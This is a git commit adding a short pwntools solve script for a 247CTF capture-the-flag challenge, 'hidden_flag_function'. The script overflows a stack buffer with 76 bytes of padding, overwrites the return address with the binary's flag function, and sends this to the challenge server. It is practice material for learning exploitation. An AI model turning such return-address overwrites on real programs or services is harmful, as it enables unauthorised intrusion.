solve script

This commit is contained in:
jc
2024-12-12 13:38:04 +03:00
parent 464e60118d
commit a06dc4e7a8
+17
View File
@@ -0,0 +1,17 @@
#!/usr/bin/python3
from pwn import *
context.binary = target = ELF("./hidden_flag_function", checksec=False)
# r = process()
r = remote("9fe3144560d92c37.247ctf.com", 50224)
# funcs
s = lambda a: r.sendlineafter(b"?", a)
# buf
buf = b"A"*76
buf += p64(target.sym.flag)
s(buf)
r.interactive()